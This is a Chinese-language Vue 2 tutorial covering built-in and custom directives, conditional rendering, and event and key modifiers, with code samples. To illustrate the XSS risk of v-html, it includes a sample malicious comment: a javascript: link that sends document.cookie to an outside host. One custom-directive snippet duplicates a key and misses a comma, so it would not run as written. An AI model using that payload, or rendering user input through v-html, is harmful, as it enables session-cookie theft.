常用指令
指令语法和插值语法
Vue框架中的所有指令的名字都以v-
开始,完整语法格式<HTML标签 v-指令名:参数="javascript表达式(表达式的结果是一个值)"></HTML标签>
:
- 指令的职责是当表达式的值改变时,将其产生的连带影响,响应式地作用于DOM元素
- 不是所有的指令都有参数和表达式,如
v-once
不需要参数和表达式,v-bind
既需要参数又需要表达式
指令语法和插值语法的联系与区别
-
内容
:指令语法中的表达式
和插值语法中{``{}}
里面的内容是一样的,如data中声明的变量,函数等,常量,合法的javascript表达式(表达式的结果是一个值)
-
在指令表达式中使用数据时外层不用声明
{``{}}
,即使没有使用指令属性值内部也不能直接使用插值语法 -
书写位置
: 插值语法是写在标签体当中的,指令语法是写在标签的属性位置上 -
渲染
:插值语法和指令语法都需要Vue框架的编译器进行编译生成一段HTML代码,然后交给浏览器进行渲染
v-once和v-if
v-once
: 只会渲染元素一次(用于优化更新性能),随后即使data中的数据发生改变也不会重新渲染(元素及其所有的子节点将被视为静态内容并跳过)
v-if="表达式"
: 要求表达式的执行结果是个布尔类型,true表示这个指令所在的标签会被渲染到浏览器当中,false表示不会
html
<!-- 准备一个容器 -->
<div id="app">
<h1>{{msg}}</h1>
<h1 v-once>{{msg}}</h1>
<h1 v-if="a > b">v-if测试:{{msg}}</h1>
<!--页面第一次加载的时候渲染一次,以后即使users数组如何发生变化都不会再渲染-->
<ul>
<li v-for="user,index of users" :key="index" v-once>{{user}}</li>
</ul>
</div>
<!-- vue程序 -->
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
a : 10,
b : 11,
users : ['jack', 'lucy', 'james']
}
})
</script>
v-bind(单向数据绑定)
v-bind:参数(标签支持属性)="表达式"
,可以省略指令名bind
即:参数="表达式"
: 让HTML标签的某个属性的值关联data中的数据产生动态效果(data ====> 视图)
- 编译的时候v-bind后面的
参数名
会被编译为HTML标签的属性名
,原则上参数名可以随便写,但只有参数名写成该HTML标签支持的属性名时才会有意义 - 指令的表达式中可以关联data中的数据,当data中的数据发生改变时表达式的执行结果也会发生变化即标签的属性值发生变化
properties
编译前:
<HTML标签 v-bind:参数="表达式"></HTML标签>
编译后:
<HTML标签 参数="表达式的执行结果"></HTML标签>
html
<!-- 准备一个容器 -->
<div id="app">
<!--参数名写成该HTML标签支持的属性名时才有意义,要不然标签没有这属性改变data的值也没有什么效果-->
<span v-bind:xyz="msg"></span>
<!--这个表达式带有单引号,说明'msg'是常量-->
<span v-bind:xyz="'msg'"></span>
<!--v-bind使用及其简写形式-->
<img v-bind:src="imgPath"> <br>
<img :src="imgPath"> <br>
<!--让文本框value这个数据变成动态的实现动态数据绑定-->
<input type="text" name="username" :value="username"> <br>
<!--使用v-bind也可以让超链接的地址动态-->
<a :href="url">走起</a> <br>
</div>
<!--vue程序-->
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
imgPath : '../img/1.jpg',
username : 'jackson',
url : 'https://www.baidu.com'
}
})
</script>
</body>
v-model(双向数据绑定)
v-model:value="表达式"
可以省略参数名:value
即v-model="表达式"
: 让HTML标签的某个属性的值和data中的数据互相关联产生动态效果(data <===> 视图)
- v-model只能使用在表单类元素上如
input标签、select标签、textarea标签的value属性
上面,因为只有这些元素给用户提供输入界面改变data中的数据
v-model指令提供了一些方法可以对收集到的字符串进行操作
v-model.number
: 可以将收集到的字符串转化为数字保存v-model.trim
: 去除字符串的前后空白v-model.lazy
: 失去焦点后才开始收集表单数据
html
<!--准备一个容器-->
<div id="app">
v-bind指令:<input type="text" v-bind:value="name1"><br>
v-model指令:<input type="text" v-model:value="name2"><br>
<!--以下报错因为v-model不能使用在这种元素上-->
<a v-model:href="url">百度</a>
v-bind指令:<input type="text" :value="name1"><br>
v-model指令:<input type="text" v-model="name2"><br>
消息1:<input type="text" :value="msg"><br>
消息2:<input type="text" v-model="msg"><br>
</div>
<!--vue程序-->
<script>
new Vue({
el : '#app',
data : {
name1 : 'zhangsan',
name2 : 'wangwu',
url : 'https://www.baidu.com',
msg : 'Hello Vue!'
}
})
</script>
v-text和v-html
v-text
: 将表达式的内容以覆盖的形式
填充到标签体当中,而且填充内容中的HTML标签只会当做一个普通的字符串处理,等同于原生JS中innerText
v-html
: 将表达式的内容以覆盖的形式
填充到标签体当中,而且将填充的内容当做HTML代码解析,等同于原生JS中的innerHTML
- v-html用到用户提交的内容上时可能会导致
XSS攻击
,即通过利用网页开发时留下的漏洞,将恶意的JavaScript代码注入到网页中诱导用户加载并执行
html
<body>
<div id="app">
<!--v-text指令-->
<h1>{{msg}},test</h1>
<h1 v-text="msg">test</h1>
<h1 v-text="name">test</h1>
<h1 v-text="s1"></h1>
<!--v-html指令-->
<h1 v-html="s1"></h1>
<ul>
<li v-for="(m,index) of messageList" v-html="m"></li>
</ul>
<textarea cols="30" rows="10" v-model.lazy="message"></textarea>
<br>
<button @click="save">保存留言</button>
<!--用户在留言中恶意植入以下信息-->
<a href="javascript:location.href='http://www.baidu.com?'+document.cookie">点击查看详情</a>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
msg: 'Vue的其它指令',
name: 'jack',
s1: '<h1>欢迎大家学习Vue!</h1>',
message: '',
messageList: []
},
methods: {
save() {
this.messageList.push(this.message)
}
}
})
</script>
</body>
v-cloak
v-cloak
指令使用在标签当中用来解决胡子的闪现问题,当Vue还没来得及对模板语句的语法规则进行编译时,此时页面会显示插值语句本事字符串
- v-cloak不需要指定属性值,只需要配合CSS指定样式隐藏标签, 当Vue实例接管容器之后会对模板语句进行编译,然后删除这个指令,此时标签就会显示出来
html
<head>
<style>
/*当前页面中所有带有v-cloak属性的标签都隐藏起来*/
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
</div>
<script>
// 模拟延迟加载Vue.js文件
setTimeout(() => {
let scriptElt = document.createElement('script')
scriptElt.src = '../js/vue.js'
// 自动追加到末尾
document.head.append(scriptElt)
}, 3000)
// 延迟渲染
setTimeout(() => {
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令'
}
})
}, 4000)
</script>
</body>
v-pre
v-pre指令
可以不编译带有该指令的标签从而提高编译速度,不需要编译的标签一定是没有使用Vue语法规则即不能带有指令语法以及插值语法
html
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
<h1 v-pre>欢迎学习Vue框架</h1>
<!--使用了v-pre后标签体中的插值语法就不会被编译-->
<h1 v-pre>{{msg}}</h1>
</div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令',
}
})
</script>
</body>
vue的自定义指令
自定义指令分为局部指令和全局指令,并且定义的时候分为函数式和对象式
- 关于自定义指令的名字: v- 不需要写, Vue官方建议指令的名字要全部小写 , 如果是多个单词的话使用"-"进行衔接
- 自定义指令的函数中的this是window
自定义指令函数式的回调函数
- 回调函数有两个参数:第一个参数是真实的dom元素,第二个参数是标签与指令之间绑定关系的对象
- 回调函数的执行时机包括两个: 第一个是标签和指令第一次绑定的时候, 第二个是模板被重新解析的时候
自定义指令对象式的钩子函数可以完成更加细致的功能
- bind函数是当元素与指令初次绑定的时候自动被调用
- inserted函数是当元素被插入到页面之后自动被调用
- update函数是当模板重新解析的时候自动被调用
html
<body>
<div id="app">
<h1>自定义指令</h1>
<div v-text="msg"></div>
<div v-text-danger="msg"></div>
用户名:<input type="text" v-bind:value="username">
<!--需要一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色-->
<div>
用户名:<input type="text" v-bind-blue="username">
</div>
</div>
<div id="app2">
<div v-text-danger="msg"></div>
<div>
用户名:<input type="text" v-bind-blue="username">
</div>
</div>
<script>
// 定义全局的指令(可以在所有的容器中使用)
// 函数式
Vue.directive('text-danger', function(element, binding){
//对于自定义指令来说,函数体当中的this是window,而不是vue实例
console.log(this)
element.innerText = binding.value
element.style.color = 'red'
})
// 对象式
Vue.directive('bind-blue', {
bind(element, binding){
element.value = binding.value
console.log(this)
},
inserted(element, binding){
element.parentNode.style.backgroundColor = 'skyblue'
console.log(this)
},
update(element, binding){
element.value = binding.value
console.log(this)
}
})
const vm2 = new Vue({
el : '#app2',
data : {
msg : '欢迎学习Vue框架!',
username : 'lucy'
}
})
const vm = new Vue({
el : '#app',
data : {
msg : '自定义指令',
username : 'jackson'
},
// 定义局部的指令(只能在当前容器中使用)
directives : {
// 函数式
'text-danger' : function(element, binding){
console.log('@')
element.innerText = binding.value
element.style.color = 'red'
},
'bind-blue' : function(element, binding){
element.value = binding.value
console.log(element)
// 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。
console.log(element.parentNode)
element.parentNode.style.backgroundColor = 'blue'
}
// 对象式(含有三个钩子函数,在特定的时间节点会被自动调用)
'bind-blue' : {
// 元素与指令初次绑定的时候,这个函数自动被调用
bind(element, binding){
element.value = binding.value
},
// 元素被插入到页面之后,这个函数自动被调用
inserted(element, binding){
element.parentNode.style.backgroundColor = 'blue'
},
// 当模板重新解析的时候,这个函数会被自动调用
update(element, binding){
element.value = binding.value
}
}
}
})
</script>
</body>
条件渲染
v-if、v-else-if、v-else、v-show
v-if、v-else-if、v-else
指令用于条件性地加载元素,这块内容只会在指令的表达式返回true时才被加载,连续使用的时候元素中间不能断开
- 注意: 条件表达的值为false时该
元素不会被渲染到页面上即元素没有加载
,并不是通过修改元素的CSS样式的display属性来达到显示和隐藏的 - v-if有更高的切换开销,元素会被销毁和重建,适用于运行时条件表达式的值很少改变的情况,可以提高页面加载速度快,提高页面的渲染效率
v-show
: 按照条件显示一个元素,通过修改元素的CSS样式的display属性
来达到元素的显示和隐藏
- v-show有更高的初始渲染开销,因为DOM元素一定会被渲染,适用于一个元素在页面上被频繁的隐藏和显示
- v-show不支持在template标签上使用,也不能和v-else搭配使用
template与v-if
v-if是一个指令必须依附于某个元素,如果想要渲染或隐藏多个元素代码会比较繁琐,可以在template标签上
使用v-if,v-else和v-else-if指令统一渲染或隐藏多个元素
- template元素是一个
不可见的包装器元素
,即最后渲染的HTML代码并不会包含这个元素,不会影响到页面的结构
html
<body>
<div id="app">
<h1>{{msg}}</h1>
<div v-if="false">{{msg}}</div>
<div v-if="2 === 1">{{msg}}</div>
<button @click="counter++">点我加1</button>
<h3>{{counter}}</h3>
<img :src="imgPath1" v-if="counter % 2 === 1">
<!-- <img :src="imgPath2" v-if="counter % 2 === 0"> -->
<!--为了提高效率,可以使用v-else指令,v-if和v-else之间不能断开-->
<img :src="imgPath2" v-else>
温度:<input type="number" v-model="temprature"><br><br>
天气:<span v-if="temprature <= 10">寒冷</span>
<span v-else-if="temprature <= 25">凉爽</span>
<span v-else>炎热</span>
<div v-show="false">你可以看到我吗</div>
<!--template标签/元素只是起到占位的作用,不会真正的出现在页面上也不会影响页面的结构-->
<template v-if="counter === 10">
<input type="text">
<input type="checkbox">
<input type="radio">
</template>
</div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '条件渲染',
counter : 1,
imgPath1 : '../img/1.jpg',
imgPath2 : '../img/2.jpg',
temprature : 0
}
})
</script>
</body>
事件
v-on
v-on:事件名="表达式"
简写@事件名="表达式"
: 完成事件绑定, 表达式
位置可以写常量、JS表达式、Vue实例所管理的data或method等配置项
- 在Vue当中事件所关联的回调函数必须在
Vue实例的methods中配置项
进行定义,Vue在解析模板语句时只会调用Vue实例管理的回调函数
Vue在调用回调函数的时候会根据情况传递当前发生的事件对象
- 如果表达式中的函数没有参数并且省略了小括号, Vue框架会自动给回调函数传递当前发生的事件对象
- 如果表达式中的函数有括号(无论是否有参数),Vue都不会给回调函数传递当前的事件对象,需要在参数上使用
$event占位符
告诉Vue我需要接收当前事件对象
html
<div id="app">
<h1>{{msg}}</h1>
<!--使用javascript原生代码如何完成事件绑定-->
<button onclick="alert('hello')">hello</button>
<!--以下是错误的,因为alert()和sayHello()都没有被Vue实例管理-->
<button v-on:click="alert('hello')">hello</button>
<button v-on:click="sayHello()">hello</button>
<!--绑定Vue实例method配置项中的回调函数完成事件绑定-->
<button @click="sayHi($event, 'jack')">hi button2</button>
<!--如果函数省略了小括号,Vue框架会自动给回调函数传递当前发生的事件对象-->
<button @click="sayWhat">what button</button>
<!--如果函数没有省略小括号,Vue框架不会给回调函数传递当前发生的事件对象-->
<button @click="sayWhat()">what button</button>
</div>
<!-- vue代码 -->
<script>
// 自定义的函数不会被调用
function sayHello(){
alert('hello')
}
const vm = new Vue({
el: '#app',
data: {
msg: 'Vue的事件绑定'
},
methods: { // 回调函数
// : function 可以省略
sayHi(event, name) {
console.log(name, event)
},
sayWhat(event) {
console.log(event)
//console.log(event.target)
//console.log(event.target.innerText)
}
}
})
</script>
事件回调函数中的this
事件回调函数中的this
就是Vue的实例对象vm
, 箭头函数中没有自己的this它的this是从父级作用域当中继承过来的
html
<div id="app">
<h1>{{msg}}</h1>
<h1>计数器:{{counter}}</h1>
<button @click="counter++">点击我加1</button>
<button @click="add">点击我加1</button>
<button @click="add2">点击我加1(箭头函数)</button>
</div>
<!-- vue代码 -->
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '关于事件回调函数中的this',
counter : 0
},
methods : {
add(){
// 事件函数中的this就是Vue的实例对象vm
this.counter++;
//vm.counter++;
},
add2:()=>{
// 对于当前程序来说this就是父级作用域(全局作用域)window
console.log(this)
},
sayHi(){
alert('hi...')
}
}
})
</script>
methods对象中的方法可以通过vm去访问(直接复制),但是并没有做数据代理
html
<script>
const vm = new Vue({
data : {
msg : 'hello vue!'
},
methods : {
sayHi(){
// 函数中的this就是Vue的实例对象vm
console.log(this.msg)
},
sayHello(){
alert('hello')
},
sayWhat : () => {
// 对于当前程序来说this就是父级作用域(全局作用域)window
console.log(this)
}
}
})
</script>
javascript
// 定义一个Vue类
class Vue {
// options是一个简单的纯粹的JS对象,有Vue实例对象的配置项
constructor(options) { // 定义构造函数
// 获取所有的属性名
// 获取所有的方法名
Object.keys(options.methods).forEach((methodName, index) => {
// 给当前的Vue实例扩展一个方法,相当于复制了一份
this[methodName] = options.methods[methodName]
})
}
}
事件修饰符
Vue当中提供了事件修饰符:在事件中可以不采用手动调用DOM的方式来完成事件相关的行为,保证回调函数中只负责写业务逻辑代码
- passive和prevent修饰符是对立的不可以共存 , 如果一起用就会报错
- 添加事件监听器包括两种不同的方式: 一种是从内到外添加(事件冒泡模式), 一种是从外到内添加(事件捕获模式)
在Vue当中事件修饰符是可以多个联合使用的
,按照书写顺序的先后执行
修饰符 | 作用 |
---|---|
stop | 停止事件冒泡,等同于event.stopPropagation() |
prevent | 阻止事件的默认行为,等同于event.preventDefault() |
capture | 添加事件监听器时使用事件捕获模式(从外到内),先给谁添加谁先执行 |
self | 只有元素本身触发事件才会则执行对应的函数,别人冒泡/捕获传递过来的事件并不会调用事件函数 |
once | 事件只发生一次 |
passive(顺从/不抵抗) | 解除阻止, 无需等待事件函数的内部代码执行完, 优先执行事件的默认行为(如鼠标滚动,页面跳转) |
html
<!-- 容器 -->
<div id="app">
<h1>{{msg}}</h1>
<!--点击链接默认会跳转,使用事件修饰符阻止事件的默认行为-->
<a href="https://www.baidu.com" @click.prevent="yi">百度</a> <br><br>
<!--阻止事件冒泡的行为: 1-->
<div @click="san">
<div @click.stop="er">
<button @click="yi">事件冒泡</button>
</div>
</div>
<!--添加事件监听器时使用事件捕获模式: 3,2,1-->
<div @click.capture="san">
<div @click.capture="er">
<button @click.capture="yi">添加事件监听器的时候采用事件捕获模式</button>
</div>
</div>
<!--添加事件监听器时使用事件捕获模式: 3,1,2-->
<div @click.capture="san">
<!--这里没有添加capture修饰符,这个元素和其子元素默认采用冒泡模式-->
<div @click="er">
<button @click="yi">添加事件监听器的时候采用事件捕获模式</button>
</div>
</div>
<!--self修饰符只有"元素"本身发生触发的事件才会则执行对应的函数:1,3-->
<div @click="san">
<div @click.self="er">
<button @click="yi">self修饰符</button>
</div>
</div>
<!--事件修饰符是可以多个联合使用的@click.self.stop表示先self再stop-->
<div @click="san">
<div @click="er">
<button @click.self.stop="yi">self修饰符</button>
</div>
</div>
<!--once修饰符:事件只发生一次-->
<button @click.once="yi">事件只发生一次</button>
<!--鼠标滚动时的默认行为是滚动条滚动,优先执行事件的默认行为,不会等事件函数中的for循环执行完毕-->
<div class="divList" @wheel.passive="testPassive">
<div class="item">div1</div>
<div class="item">div2</div>
<div class="item">div3</div>
</div>
</div>
<!-- vue代码 -->
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '事件修饰符'
},
methods : {
yi(event){
// 手动调用事件对象的preventDefault()方法,可以阻止事件的默认行为
//event.preventDefault();
alert(1)
},
er(){
alert(2)
},
san(){
alert(3)
},
testPassive(event){
for(let i = 0; i < 100000; i++){
console.log('test passive')
}
}
}
})
</script>
按键修饰符
获取某个键对应的按键修饰符
: 通过event.key
可以获取这个键以kebab-case
风格命名的名字,如PageDown(向下箭头键)-->page-down
- 4个比较特殊的系统修饰键
ctrl、alt、shift、meta(win键)
: ctrl键可以直接触发keydown事件,但不能直接触发keyup事件需要搭配一个组合键盘
自定义按键修饰符
: 通过Vue的全局配置对象config
来进行按键修饰符的自定义,Vue.config.keyCodes.按键修饰符的名字 = 按键的键值
按键 | 按键的修饰符 |
---|---|
Enter | enter |
Tab | tab(必须配合keydown事件使用) |
Delete | delete(捕获"删除"和"退格"键) |
ESC | esc |
空格 | space |
上箭头 | up |
下箭头 | down |
左箭头 | left |
右箭头 | right |
html
<div id="app">
<h1>{{msg}}</h1>
<!--当用户按下回车键并弹起时触发事件执行回调函数-->
回车键:<input type="text" @keyup.enter="getInfo"><br>
回车键(键值):<input type="text" @keyup.13="getInfo"><br>
delete键:<input type="text" @keyup.delete="getInfo"><br>
esc键:<input type="text" @keyup.esc="getInfo"><br>
space键:<input type="text" @keyup.space="getInfo"><br>
up键:<input type="text" @keyup.up="getInfo"><br>
down键:<input type="text" @keyup.down="getInfo"><br>
left键:<input type="text" @keyup.left="getInfo"><br>
right键:<input type="text" @keyup.right="getInfo"><br>
<!--tab键无法触发keyup事件,只能触发keydown事件-->
tab键(keydown): <input type="text" @keydown.tab="getInfo"><br>
PageDown键: <input type="text" @keyup.page-down="getInfo"><br>
huiche键: <input type="text" @keyup.huiche="getInfo"><br>
ctrl键(keydown): <input type="text" @keydown.ctrl="getInfo"><br>
<!--ctrl键加上任意一个组合键可触发事件-->
ctrl键(keyup): <input type="text" @keyup.ctrl="getInfo"><br>
<!--ctrl键加上i键可触发事件-->
ctrl键(keyup): <input type="text" @keyup.ctrl.i="getInfo"><br>
</div>
<script>
// 自定义一个按键修饰符叫huiche
Vue.config.keyCodes.huiche = 13
const vm = new Vue({
el : '#app',
data : {
msg : '按键修饰符'
},
methods : {
getInfo(event){
// 当用户键入回车键的时候,获取用户输入的信息
//if(event.keyCode === 13){}
// 使用了按键修饰符后就不用再判断键值了
console.log(event.target.value)
// 获取按键修饰符的名字
console.log(event.key)
}
}
})
</script>